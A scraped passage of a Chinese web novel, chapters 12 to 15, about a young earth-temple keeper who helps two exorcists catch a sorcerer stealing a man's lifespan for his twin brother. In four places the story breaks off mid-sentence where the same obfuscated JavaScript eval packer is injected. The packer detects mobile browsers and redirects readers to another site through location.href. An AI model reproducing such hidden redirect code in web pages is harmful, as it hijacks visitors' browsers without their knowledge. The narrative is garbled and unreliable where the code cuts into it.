他奇怪地亢奋起来。 张兴拗不过他,来都来了,只好说:“可能是前段时间加班太多了,夜里睡得不太好,最近掉发比较严重,比较显老。” “可不是普通显老,你不说,谁能知道你今年才三十九岁啊。上个月人还好好的,突然就变成个老头了,大师,你说奇不奇怪?” 三十九岁?商小玉突然想起姚艾艾,她明明只有二十五岁,突然就涨了十五岁。 “仔细讲讲。” 12. 第 12 章 其实,张兴也不知道说什么,他一个社畜,天天坐地铁上下班,从来没有见过什么荒坟野鬼,再普通不过的一个人了。 杨岭催他:“讲讲你的梦。” 梦? 张兴挠头:“那是上个月的事了,有天晚上,我梦到一个,怎么说呐,长着癞蛤蟆脑袋的人,穿着金黄色的古代官服,两枚奇大无比的眼珠鼓鼓的,没有鼻梁,嘴巴又大又凸,特别搞笑。好像审案子那样让我跪下,文绉绉地说我兄弟得了绝症,问我愿不愿意借寿给他,我当时没有立刻回答,他就骂我,说我妈生我养我,让我借寿给我弟,如果我不答应就是不孝不悌之类的,还叫一群小鬼打我,我就只能同意了。” 他本来还觉得很扯淡,却看到商小玉的神情瞬间变得特别严肃,不由得也忐忑起来。 “之后,我隔几天就做噩梦,半夜老觉得身边窸窸窣窣的,好像有人在小声说话,有剪刀咔嚓咔嚓剪东西的声音,但是睁开眼又什么都没有。” 随后,他发现自己在逐渐老去,原本三十九岁的中年人,头发迅速掉落变白,长出皱纹和老年斑。 原本张兴这个岁数的人还在中年危机,他倒好,直接跳过变成老头了。 杨岭插嘴说:“这么邪门,肯定是有邪祟作怪,那癞蛤蟆不是说了吗,让你借寿。” 张兴憨厚地说:“我确实有个双胞胎弟弟,爸妈离婚之后我跟我爸,他跟我妈。他混得比我强,开公司当老板了,好好的干嘛借我的寿啊,最近他知道我病了,还给我打了两万块钱呢。” 双胞胎兄弟,知道对方的八字和家庭地址,事后还给了钱,跟上次姚艾艾被借寿一模一样。 商小玉想起答应赵兕的,掏出手机把线索给他发了过去,对方回复了一个高冷的ok手势。 张兴总的来说不太相信有鬼,觉得自己应该是患上了什么比较稀有的奇怪病症,但是身处土地庙,抬头就能看到年轻的土地娘娘望着他,和煦中夹杂一丝悲悯,他突然生起些许期望。 “大师,如果真的是借寿,这个事能解吗?” 商小玉没有打包票,老实讲:“我不清楚,得查查才知道。” 张兴好不容易生起来的希望几乎破灭,觉得她年轻又没什么经验,还是去大医院看看吧,就算求神,也该去大庙啊。 门外这时进来两个人,一个是平头纹身青年,身材精壮干练,满脸坚毅,除了胳膊和脖子里露出的纹身以外,整个人看起来都特别靠谱。这是赵兕,商小玉刚发出消息不到五分钟,他就赶过来了。 另一个是个很高挑漂亮的女人,商小玉需要仰视才能看到脸,至少有一米八,穿着T恤运动裤,腿特别长,头发扎成高马尾,背着一把桃木剑,英气十足。 赵兕指着同伴说:“这是岳潇,东州分协会长。” 商小玉自我介绍了下,岳潇笑道:“我听赵兕说过你,没想到你看起来那么小,我应该比你大,你叫我岳姐吧。这次多亏你了,我们这阵子都在办这个案子,就是这个人吗?” 她一眼看出张兴不对劲。 商小玉:“是他。不清楚什么手段能做借寿,反正肯定有东西搞鬼,不像是一个邪术师能做到的。” 两人也点头赞同。 岳潇说:“我们刚才收到消息,立刻让警方查了张兴的双胞胎弟弟张旺,发现他在三个月前确诊了肺癌晚期,癌细胞已经浸润整个肺部,没有治愈的可能了,但截止到现在,他的病奇迹般地好了。” 张兴惊恐:“你们说,真是我弟害我?我问问他。” 他掏出手机就要打电话,被商小玉一把夺过。 “先别打,会打草惊蛇的。”她看向岳潇:“我觉得,可以在张兴家埋伏一手,或许那些小鬼还会来的。合作怎么样?” 赵兕皱起眉,“我们一般不……”突然被岳潇踹了一脚。 “我觉得可以合作,正好我们分协人手不够。对了,来了这么久,我该拜拜的,太失礼了。”她突然走向神像,点燃三支香,先拜神荼,再拜土地。 赵兕被她搞得摸不着头脑:“你什么时候进庙烧过香了?” 她翻个白眼。 张兴被亲弟弟借寿让他有点接受不了,虽然还没有完全相信,但还是答应让三人晚上去他家埋伏。 现在还是白天,岳潇说自己要准备一下,让张兴留下地址,先回家等着,他们夜里到。 商小玉出门打架的经验比较少,就一次带着姚艾艾去手撕渣男,只准备了点桃符卖给邻居,还真不知道需要准备什么。 她虚心请教:“岳姐,该准备什么?需要帮忙吗?” “赵兕倒不用准备什么,他不用兵器,主要是我。”岳潇取下背上的桃木剑给她看,“上次捉一只鬼王的时候弄断了。” 棕红色的桃木剑木质温润,剑柄上一丝划痕都没有,但剑身断成了两截,上头还有许多黑色焦痕。 “这是我家传的剑,真是可惜了。”岳潇说:“我已经叫人帮忙找年份久的桃木,可惜太难找了,等会去随便找一把替代,其他就再画些符箓就可以了。” 年份比较久的桃木,商小玉说:“我家里就有一棵桃树啊。” 岳潇笑了:“普通桃木不行的,至少要上百年的桃木,最好是雷击木,在三清像前开过光,这样威力才够。” 商小玉打开通向后院的门,“我家的大桃树也被雷击过的。” 岳潇看到那棵树,一呆。 她来的时候确实看到这家院墙有桃树枝伸出来,但是院墙比较高,看不出年份,只以为是普通桃树,现在才窥见全貌。 那是一棵三个成年人手拉手堪堪合抱的巨大桃树,只是一半焦枯,枝条又少又稀,所以从墙外面看不太出来。 在普通人看来,这树大概很丑,只能当柴火烧,但是懂行的会知道,这是一棵年龄少说两千岁的桃树,业内价格堪比黄金,不,简直就是无价之宝。 岳潇张大嘴巴,半天说不出话,她指着供桌上那些五十一枚的桃符,结结巴巴:“这这这,也是?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273137|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 商小玉:“对啊。” 岳潇险些晕过去,千年雷击桃木啊!竟然做成五十一枚的桃符卖,这是什么大户人家啊! “你你你,愿意卖给我一截吗?” “可以呀。”商小玉打开院里的一间破厢房。 岳潇跟过去一看,里面或粗或细,摆了一堆枯树枝,就放在地面上,像烧火的柴一样。 她又说不出话了。 商小玉挑了一根最粗的枝丫,用锯子锯下来一米那么长。 她的木工活很好,做剑也不必找别人,找出雕刻装备,在院里的小凳子上便开始制作。 岳潇原本的剑柄雕刻着龙头,十分精致,她不会,只是做了个简单的形状,重点在打磨剑身,最后习惯性在剑柄处刻了镇邪两个字。 至于开光,那就更简单了,她随手引了一道神力进去,就当做是开光了。 不到两个小时的功夫,剑便做成了。 岳潇接过剑,打磨光滑的桃木剑沉甸甸的,非常压手,剑身极为红润,触摸剑刃,有种金属质感。 她摘下一根头发放在剑刃上一吹,发丝应声而断。 这把桃木剑坚硬得竟然堪比钢铁了。 她兴之所起,突然一跃而起,在院里舞起剑来,纤瘦高挑的身体灵动中也充满了力量感,宛如武侠片里的女剑客。 一套舞完,商小玉和赵兕噼啪鼓掌,“太棒了。” 岳潇兴奋得脸色微红,“还要多谢你,这把剑比我以前那把还要好。我应该给你多少钱?” 商小玉想了想,伸出两根手指头。 岳潇:“多谢了,我给你打过去。” 片刻后,商小玉收到一条银行短信,2字后边跟着一串零,粗粗一数有六个。 啊这?她其实本来想说的是两千块。 协会这么有钱吗?羡慕。 她想说倒也不必那么多钱,但是看岳潇一脸物超所值的样子,默默闭嘴,继续削木头。 桃木剑削下来很多边角料,她受了桃木剑的启发,削出一柄食指长的小剑,剑柄小而剑身细。 “你们看,这个用来当做氨气怎么样?” 岳潇接过来,把玩了下,随手一丢,小剑嗖地飞出,扎入墙砖中。 “非常好用!” 商小玉于是把剩下的边角料全都做成了这种小剑,上头刻画符箓。 三人晚饭是叫的外卖,这让商小玉有一次见识到协会的财大气粗。岳潇点的是她以前从来没吃过的昂贵海鲜大餐,超级大的帝王蟹,鲜甜的虾,她从来没见过的奇形怪状的鱼。 好吃当然是好吃的,既然不需要她付钱,商小玉吃的很开心。 当然也没有忘记上供给师父,商小玉本来是要把上供那部分钱a给岳潇的,被她豪爽拒绝了。 “aa?不需要,我看你是看不起我岳潇。” 总之,非常财大气粗。 商小玉问:“你们协会还收人吗?” 她也想加入。 13. 第 13 章 赵兕:“收倒是收人,但是协会可没钱,有钱的是岳姐。” 商小玉丧丧的缩回去,算了,她窝在这一亩三分地挺好的。 到了晚上10点钟,三人下山去张兴家。 商小玉这时明白两人为什么来的那么快,本来以为是用法术赶路,原来是开奔驰来的,黑色的越野线条硬朗,地盘超高,在一众家用小汽车中非常瞩目。 来到张兴家门口,岳潇敲门。 张兴打开门请三人进来,岳潇身高腿长,走在最前面进屋。这房子有些年龄了,装修是十几年前的风格,家具比较旧了,客厅很小,满满当当地摆了许多生活用品,但并不凌乱,看得出这家人生活习惯很好。 房间里有足球、少年的球鞋、粉色的贴纸和玩偶,全家福上有夫妻、两位老人和一对儿女,很有家庭美满的样子,但现在家里只有张兴一个人。 他拘谨地请三人落座,说:“我让孩子们和老婆去岳父岳母家了,怕他们害怕。我没说张旺的事情。” 他也不知道该怎么说,前几天张旺听说他生病,还打了两万块钱来,妻子和岳父母都夸赞弟弟顾念亲情,谁知道这两万是买他命的钱。 岳潇和赵兕把几个房间都检查了一遍,现在屋里是正常的,没有脏东西。 张兴问:“需要我做什么吗?” 商小玉说:“去洗洗睡吧,就算睡不着也要躺着别动,有我们在,你不会有事的。” “哦,哦。” 得知真相的颓丧和对等会发生事情的恐惧让张兴没有心情再去洗漱,伛偻着背,缓缓走进卧室,平躺在床上。 当然是睡不着的,谁经历了这种事还能迅速睡着,那也太没心没肺了,所以只好闭眼躺着,一动不动。 岳潇给赵兕和商小玉各一张符箓,“隐匿气息的,只要不现身,就没有东西能发现我们。” 赵兕关掉所有的灯,拉上窗帘,藏在床尾的大衣柜里,关上柜门,除了柜门处有微微的光线,基本是漆黑的。 三人都不是普通人,商小玉看看两人,发现他俩也能视物。 岳潇掏出一副扑克牌,无声问:“会打牌吗?” 商小玉许久不打牌了,犹豫点头,表示自己会一点点。 不知道什么时候能蹲到东西,躲在衣柜里无所事事,商小玉和赵兕果断入局,来一场酣畅淋漓的斗地主,输的贴白条。 岳潇见商小玉一副涉世未深的学生妹样子,摩拳擦掌,咧着嘴无声笑:“姐姐让着你点。” 第一局岳潇抽到了地主,牌面非常好,志得意满,本以为赢定了,谁知道两个农民围追堵截,似乎猜到了她的牌一样,最后惨败。 第二局赵兕地主,牌一般,输得干脆利落。 第三局商小玉抽中地主,牌一般,但岳潇发现自己打什么牌她都能截走,最后农民惨败。 一小时后,岳潇脸上贴满白条,赵兕也有一些,商小玉的最少,寥寥三条。 岳潇气到无声锤墙,“你是不是出老千了!” 出老千,当然不可能了。 商小玉无语,她一直赢,因为岳潇是个臭牌篓子啊。 赵兕每次输,基本都是跟岳潇一组才输掉的。再好的牌,也挡不住岳姐想输,老实讲,嬴多了都没什么成就感了。 赵兕嘴角微挑,忍俊不禁。 时针缓缓指向凌晨两点时,半点声响都没有的安静卧室里,窗户忽然发出轻微的响声,缓缓滑开。 商小玉悄悄放下牌,把眼睛凑近门缝。 张兴眼皮一颤。 有窸窸窣窣的声音传来,接着是细小如蚊蝇的说话声,听起来不太真切,好像是另一个世界传来的。 “慢点慢点,别撒了。” “别说话,吵醒他怎么办?如果没办好这事,小心法师爷爷撕烂你。” 商小玉看到三个小鬼婴儿,只到人膝盖那么高,脑袋大,四肢细小,穿着或红或绿的肚兜,一起抬着一个大木斗从窗户爬了进来。 斗中满满地装了大米,米里插着一个老秤杆,一把剪刀。 小鬼们吭哧吭哧地抬着大米爬上了床,来到张兴身边。 一只小鬼从米里拔出剪刀,对着张兴比划:“上回剪了胳膊,该剪左腿了。” “不是不是,剪右腿。” 张兴此时的恐惧已经到了极致,眼皮控制不住地打哆嗦。那些鬼的声音就在他身边,还商量着要剪他的腿,谁能不害怕啊。 要不是隔壁柜子里就有三个大师,他好想跑啊。 怎么办?商小玉无声询问两人。 岳潇示意她放心,指指赵兕。 赵兕凑近门缝,冲小鬼吐了一口气。 那只拿剪子的小鬼突然停止比划,挠挠没有几根头发的大脑袋,露出迷茫的表情,然后把剪子插回米里。 “完事儿,撤。” 小鬼们互相庆祝大功告成,抬着米斗,从窗户跳了下去。 商小玉三人打开柜门,来到窗边,小鬼们的影子飘忽远去,这几秒钟的功夫,已经出了小区门。 赵兕拍了下张兴:“好了,鬼走了。” 张兴连忙爬起来摸自己的腿,“我没有被剪掉腿吧?” “放心,没有。” 商小玉感叹:“嘶,十二楼。”离地面很远啊。 岳潇往自己身上贴了个符,调侃:“害怕就走电梯”,长腿一步跨上窗台,飞跃而下,身轻如燕,在墙壁上飞快跳跃,很快到达地面。 赵兕同样跳下楼,黑暗中,商小玉看到他背后有个模糊的身影,搂着赵兕的腰,轻飘飘降落地面。 商小玉叹了口气,她穷惯了,好不容易攒点香火,本来不想浪费的,但现在不用显得自己很菜。 她掐了个决,在原地消失,下一瞬,身影从小区门口的花坛中爬出来。 这时岳潇也才刚跑到小区门口,称赞:“这是什么身法?好厉害。” 商小玉再次从原地消失,瞬移到百米之外。 张兴迷茫地看看空无一人的卧室,他这是遇见真正的捉鬼大师了?能瞬移能飞檐走壁的那种? 张兴心里生起希望,他真的有救了,那些被剪走的寿数,或许还能回来,让他变回以前那样…… 商小玉用缩地成寸远远跟在小鬼后面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13284157|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小鬼们一点也没有发现,兴高采烈地径直奔向目的地。 他们横跨半个市,来到北部的富人别墅区,快乐地抬着米斗跑进其中一栋别墅。 商小玉在别墅门口等了几秒钟,岳潇和赵兕也赶到了。 商小玉说:“一旦小鬼进去,里边的人就会发现那斗米里没有剪下的寿数,说不准会跑路,咱们包抄吧。” 岳潇两人也同意,各自布置起来。 * 张旺的别墅内,一阵阴风吹了进来。 穿着道袍的邪术师从小鬼手里接过那斗米,“好好好,这斗米足够张先生吃三天,三天后再借一次寿,答应你的二十九年寿数就够了。 张旺和张兴有五分相似,但面色红润,看起来三十岁出头,没有一点肺癌晚期的样子。 “法师说我哥能活到九十八寿终正寝,双胞胎兄弟,我只能活三十九,我只借我哥二十九年的寿。虽然对不起哥,可他好歹还能活三十年啊,唉,我真不想死。” 他身边穿着富贵的老太太冷冷地说:“他是我受尽了苦生下来的儿子,我要他的寿天经地义。旺儿,你也别觉得对不起你哥,你替他尽了孝道,他借你几年寿,应该的。” “谢谢妈,我会好好孝顺你的。” “谢什么。妈这就把米煮成粥给你喝,喝了粥,你的命就长了。” “等等。”邪术师拈起米放在嘴里尝了尝,呸地吐出来,揪起一只小鬼:“这不是寿米!好你们三个,我千叮万嘱,你们还敢偷懒!” 三只小鬼连忙跪地求饶:“法师爷爷,我们没有啊,千真万确剪了半条腿回来的。” 邪术师把三只小鬼挨个拎起来看,发现被施了法,立刻明白事情败露了,抬腿就要跑路。 已经晚了。门哐哐被人踹开,一个英姿飒爽的高马尾女人拎着桃木剑冲了进来。 邪术师连忙也抽出桃木剑,并命令三只小鬼去迎敌,自己伺机而动。 小鬼是他从在胎里就祭炼的,每个都凶戾非常,化出尖牙指甲,浑身鬼气森森地向岳潇冲去。 “妖道,你敢炼小鬼!”她横眉竖目,大声念咒,“霹雳震虚空,强神恶鬼不伏者,五雷破火走无踪。” 语落,一剑向冲上来的小鬼挥出,别墅里轰然炸开巨雷,三只小鬼瞬间烟消云散。 邪术师一愣,被震惊到了,连忙从袖子里又放出两个小鬼,自己转身冲向后门。 岳潇也呆了一瞬,她以前用雷咒从来没这么强过,不愧是千年雷击桃木,买得值! 邪术师跳窗而出,看到窗下站着的平头青年,手里没拿桃木剑,他松了一口气。 赵兕默默瞅他一眼,突然撕破T恤,赤着上身,露出右臂完整的纹身。 纹身是一个大红衣裙的女人,长发披肩,赤裸双足,长得极美,身体在赵兕右臂上,头却搭在他右肩。 邪术师心想这是什么路数,就见那纹身游动起来,那红衣女先是伸出一条胳膊,搭着赵兕的右肩,从纹身里出来了! 霎时间天地变色,狂风呼啸,凶戾的鬼气迎面扑来。 邪术师脸色大变,这是一只鬼王! 14. 第 14 章 面前是红衣鬼王,身后提着桃木剑的女人顷刻间又斩杀了小鬼,向这边冲来。 邪术师本事不大,平时只偷偷养几个小鬼,替人借寿赚点钱而已,谁知道这回惹了两个大煞星。 他差点哭出来,本以为张兴只是个好欺负的穷鬼,谁能想到他有这人脉啊,不早说。 只能用那个办法了。 邪术师哭丧着脸,掏出一支红色的香,手指轻轻一搓,点燃了香,朝西方猛地跪下磕了三个头,香插在脑袋上,口中念咒。 “恭焚真香一心奉请,秘法口诀请神明,今拜请五圣公真仙太阴金蟾仙尊上我身,助我逢凶化吉,他日定重金叩谢仙尊!” 忽然,香猛地燃烧了一大截,仿佛是有什么东西降临,吸了一大口香。 狂风停了,原本乌云翻涌,雷霆若隐若现的天气,现在全都停下,像是被什么东西压制住了。 赵兕脸色一变:“他请鬼上身了,红姐,岳姐,躲开!” 邪术师猛地抬头,双目暴突着,两嘴咧得极大,一伸手捏住了红衣鬼王的脖子举起来。 “什么东西,敢害我徒孙。” 赵兕急了,连忙上前抢人,被一脚踹开。 岳潇想降雷,但是女鬼还在对方手里,直接降雷会劈到女鬼,只能干着急。 突然身后一道暗器飞来,邪术师不放在心上,伸手截住,冷笑:“这小东西还能伤我?” 他话音未落,手掌突然传来剧痛,低头一看,顷刻间半个手掌已经焦黑了,元凶是一枚小小的桃符,上有“镇邪”两个字。 香猛地又燃了一截,只剩下两指长了。 这东西竟然能伤到他! 邪术师脸色一变,连忙丢掉桃符和女鬼,趁着香没燃完,朝远处狂奔而去。 赵兕和岳潇连忙追上,但这被鬼上身的邪术师比两人跑的快很多,几个纵跳就看不到身影了。 邪术师已经看到小区大门,已经把那两个人远远甩在后面了。他看到前面有个矮个子的小姑娘,以为是普通人,不以为意,连正眼都没有看她。 他再次高高跃起,想要跳出小区围墙。 下一秒,眼睛一花,他落地,却没在小区围墙外,而是落在了原地。 那个矮个子小姑娘依旧在他前面站着,她飞快抬手射来。 原来那枚暗器是她射的,这回邪术师不敢用手接了,飞快一躲。 暗器叮的一下没入石板地面,深深扎入石板。 邪术师再次跳起,但是不管他怎么跳,都在原地,跑不了一点。 这也是缩地成寸,只不过是对着邪术师反施法,让他在脚下三寸挪不动地方。 附身者没想到这里有会缩地成寸的人,这在数百年前不算什么厉害神通,真正厉害的都腾云驾雾,只有土地那类亲土地的小神才会,但是现在,人族中最厉害的老家伙都不一定会。 “你是什么人?” 商小玉脆生生说:“是你爸爸。” “你!你给我等着!” 邪术师想要撕开树枝,但在这时,头顶的香燃尽,请上身的东西离开了。 赵兕和岳潇赶到,岳潇是个暴脾气,抬手就是一剑。 “霹雳震虚空,强神恶鬼不伏者,五雷破火走无踪!” 一道雷霆劈下。 邪术师浑身都焦了,毫无反抗之力地倒地。 “坏了,该不会劈死了吧?”岳潇一时冲动,劈完就后悔了。 赵兕走过去,探了下鼻息,“……还好。” 岳潇惊喜:“没死?” 赵兕淡淡地说:“魂魄都散了。” “你管这叫还好?” “不会告你的状了。” 岳潇想想也是,拍拍胸口,“也是为民除害了。” 这人被劈焦之前,矮个子,三角眼,蒜头鼻,鼻子上有粒带毛的大痦子,跟姚艾艾的老公说的那个邪术师一模一样,没找错人。 红衣女鬼飘飘荡荡,赤着足,从后面缓缓飘来,低着头,谁也不理,贴在赵兕身上,犹如化掉般融进赵兕身体,成为他右臂上的纹身。 商小玉和岳潇看得目不转睛。 “哇——”商小玉小声感叹。 “是吧,我每次看到都惊叹。”岳潇抱着桃木剑,一脸陶醉。 “好像美女与野兽……”/“好完美的八块腹肌,我什么时候能练出来……” 两人同时出声,听到对方的话,笑了。 商小玉看了一眼,又看一眼。 赵兕不光八块腹肌,胸肌也很大。 再看一眼,肱二头肌…… 耳边响起一声似有若无的轻叹,细听似乎是错觉。 赵兕的上衣已经撕破丢了,对两个女流氓无可奈何,只得背过身去蹲在地上,掏出手机打电话。 过了会,警车来了,下来三个人,两个人掏出裹尸袋处理尸体,别的什么也不管。赵兕掏出证件上去和第三人说了几句,看起来很熟的样子。 那人打量赵兕,啧啧地说:“还是那么骚啊你。” 赵兕脸红,“有衣服吗?” “没有,裸着把你,爆衣男。” 他俩走过来,“我们去别墅里看一看。” 商小玉和他们去了张旺的别墅。 张旺被刚才的事情吓到了,看到他们回来,脸色大变:“你,你们想干什么?现在是法治社会,你们不能对我做什么!” 他看到这些人里有个穿警服的,自以为找到了靠山,大声说:“警察同志,他们私闯民宅,你快把他们抓起来!” 商小玉被他离谱到了。借寿害人的时候,他怎么没想到现在是法治社会呢?双标是吧。 警察掏出一副银手铐,走过去把他拷起来了,“张旺是吧,警方现在怀疑你涉嫌参与了一起故意伤人案,跟我们回局里接受调查吧。” “什么?!”张旺一愣,“你们没有证据,不能抓我!” 他妈也冲上来胡搅蛮缠。 “我儿子好好的在家,伤害谁了?你有本事把证据拿出来,否则赶紧放人!” 张旺也想到了,神情放松:“妈,没事,我哪条法律都没犯,他们不能把我怎么样,我会叫律师的。” 就算警方知道他借寿的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13298003|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怎么样,他有没有亲手害人,法律管不到神鬼上头去。反正现在已经借了二十多年的寿,就算事情败露,又能把他怎么样呢。 他知道法师可是有大靠山的,借来的寿就是他的了,谁也要不回去。 商小玉看出他的想法。邪术师死了,理论上,他的法也该失效,但是,张旺仍然面色红润,借的寿还在他身上。 这种借寿之法她从来没听说过,问师父,神荼没有回答。 要想把张兴的寿数还回去,得找到那只金蟾本尊才行。 岳潇在别墅里搜查了一番,找出到一个有神龛的房间,里面供奉的是一尊金蟾,供着香烛和三牲,三牲全都是生肉,所有肝脏都齐全,一股腥臭味扑鼻而来。 前面还有一个牌位,写的是“五圣公太阴金蟾仙尊”。 商小玉冥冥中感觉到有个东西在盯着她看,恶意极深。她走到金蟾像前,把它从神龛中拿了出来,一指一个洞,戳瞎了金蟾的眼睛。 丑癞蛤蟆都有金身了,谁懂啊! 她嫉妒到五官扭曲。 那警察问:“这玩意什么来历?竟然都有供奉了。” 岳潇说:“后边那一串什么太阴金蟾仙尊,都是他吹牛,估计本体是只癞蛤蟆,古人把月亮叫蟾宫,它牵强附会,就给自己取了个什么太阴金蟾,其实是给自己脸上贴金。这个五圣公,我猜是以前的一种乡野邪神,叫做五通神的,通常有五个,都是妖精鬼怪,在乡野骗点香火混饭吃。” “可这里只有一只?” “所以也不排除还是它吹牛,或者,更糟糕一点,它还有四个同党。奇怪,从来没听说过五通能帮人借寿。” 岳潇拿起金蟾像,说:“我得让人去查查。要死要死,我刚上任,东州市就出了个邪神,他只附身就差点打不过了,本体就更不好对付了。不行,得请外援。” 警察抱着胳膊,说:“我先说好,我只负责跟你联络,打架不上的啊。” 岳潇白了他一眼。 事情暂时告一段落,岳潇开车,把商小玉送回家。 * 过了两天,张兴带着老婆来了桃枝山庙里。 他老婆个头大约一米六,长得白皙清秀,约莫三十岁,带着金框眼镜,看起来斯文清秀,名字叫孙秀。 张兴今早已经把所有事情对老婆说了一遍,是以,她见到商小玉,就向她深深鞠了一躬。 “大师,谢谢你救了我老公。” 孙秀得知了这件事后,和张兴去找张旺算账,把那两万块钱现金砸到张旺脸上。对方好好的从警局出来,什么责任都不用负。 张旺还说什么都是兄弟,又没有全借走他寿命,只借二十九年,张兴还能比他多活一年呢。 孙秀气得骂了他一顿,什么叫只借二十九年?他借走的那二十九年,可是张兴三十九到六十八岁相对年轻健康的时间,张兴现在看起来就是个六七十岁的老人,工作没有了,退休金还没交齐,浑身疾病。 他们家两个孩子,还有父母要照顾,张兴剩下这三十年该怎么活? 张旺竟然用两万块钱就把他们打发了! 15. 第 15 章 如果不是商小玉,张兴会被偷走更多寿命,而且还不知不觉,甚至还会以为兄弟是个好人。 孙秀看到丈夫现在的样子,就心疼得掉眼泪,“大师,你是我们家的恩人。你能不能想办法把我老公变回以前的样子,他才三十九岁啊,现在老成这样,以后的三十年该怎么活?” “如果您能救他,信女愿意供养土地娘娘和神荼帝君一辈子,天天烧香念经,求求您了。” 她拿出一个鼓鼓囊囊的大红包,双手捧着奉给商小玉。 那红包的厚度,少说有五万元,对一个不富裕的家庭来说,是很大一笔存款了。 商小玉当然不能接,把红包推还给她,“你收回去,我不能收这钱。”孙秀以为是她不愿意帮忙,面露沮丧,泪水在眼眶里打转。 除了商小玉,他们真的不知道还能去找谁帮忙了。 张兴突然“噗通”跪下了,“大师,我求你了,我上有老下有小,现在公司见我病了,立刻把我裁了。现在家里只有阿秀赚钱,她不光要养老人孩子,以后还得养我,我现在都成家里的拖累了。” “不应该啊,人家都说善恶有报,我明明什么坏事都没干过,为什么遭这样的难?” 商小玉听的心里酸酸的,那只癞蛤蟆真该死啊。 它必须得死! 她说:“你先起来吧,我答应帮你,钱你拿回去。” “我们已经在查这件事了,总会还你一个公道,只是现在还没到时间,回家等着去吧,不会太晚的。” 张兴揉揉眼睛,“谢谢大师!” 孙秀想把钱留下,商小玉阻止了她,“你愿意供养娘娘和帝君一辈子,这是最好的酬谢,比钱重要多了。” 孙秀很认真地说:“我一定会的。” 孙秀搀扶着丈夫离开土地庙。 商小玉不是在瞎承诺,一个对人命视若草芥的邪神比连环杀人犯还恐怖,他的能耐要大得多,能无形中杀人,对东州来说太危险了。 再说,东州已经被商小玉画为自己的地盘了,虽然她现在的神力只能覆盖几个小区,但她相信自己以后肯定能覆盖全东州,在她的地盘害人,这癞蛤蟆必须死。 岳潇和赵兕说会去查,可调查难度很高,只能让警方从近年的卷宗里查失踪人口,和死因比较蹊跷的案件,一时半会没有结果。 商小玉也拜托了山上的孤魂帮她查一下,问问周边的鬼混有没有知道这只自称仙尊的癞蛤蟆的。 癞蛤蟆既然自称是仙尊,一定会想要香火,乃至于庙宇,不可能找不到一点踪迹,人鬼两界,总能漏点马脚。 香火的问题也很重要,现在庙里香火稍微多了一些,多亏了莹莹姐在学校里的宣传,越来越多家长知道桃枝山土地庙的清心符很有用,都来给孩子求,顺便求一下孩子成绩。 但香火还是不够多。 商小玉把上次卖桃木剑的钱捐了大半给贫困儿童,捐款人的名字写了桃枝山土地娘娘和神荼帝君,这给她带来了很多功德,能比她这一个月的香火还多。 正感慨着有钱真好,商小玉听到外面有喧哗声,出去一看,两个山下的邻居正在跟香客吵架。 “是好心的我跟你们讲,这家庙就是骗人的啦。” “啊?真的吗?” “胡说,我家小孩就是在这里求的清心符,老师都说他上课专心多了,这间庙特别灵。” “你一定是托,我在这里住了七十年,我清楚得很。小商是我看着长大的,她姥爷以前就在我们这坑骗大家,邻居们都是有目共睹的。” 给孩子求清心符的信徒非常生气,几个人吵得脸红脖子粗。 邻居们对爷孙俩的偏见根深蒂固,是因为以前姥爷还在的时候,让商小玉好好上学,怕她接触太多神神鬼鬼的东西被带坏了性格,自己又没有玄学天赋,靠学到的一星半点算命把戏求些香火,但实在不是学这个的料子,被邻居们屡次识破。 其实,商小玉年纪稍大点之后,暗中一直在自己辖区巡逻,引导死者安分守己,不让孤魂野鬼侵扰居民,由于辖区一直很太平,邻居们不知道她的付出。 这些天庙里香火稍微好了一些,热心肠的邻居们就开始担心香客上当受骗了,天天在山路上阻拦人烧香,让商小玉也很头痛。 她走过去,拉住那个最生气的邻居阿姨,“张姨,小公园的舞会快开场了,你该去跳舞了,赵大爷说不准已经等急了。” 张姨纳闷:“你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13341400|139730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道?没见你逛公园啊。”说到这,她也没心情吵架了,赶着跳舞去,念叨了两句就下山去公园。 商小玉当然清楚,她最近香火比较足,都是用灵视巡街的,对邻居不说了如指掌,至少了七八分。 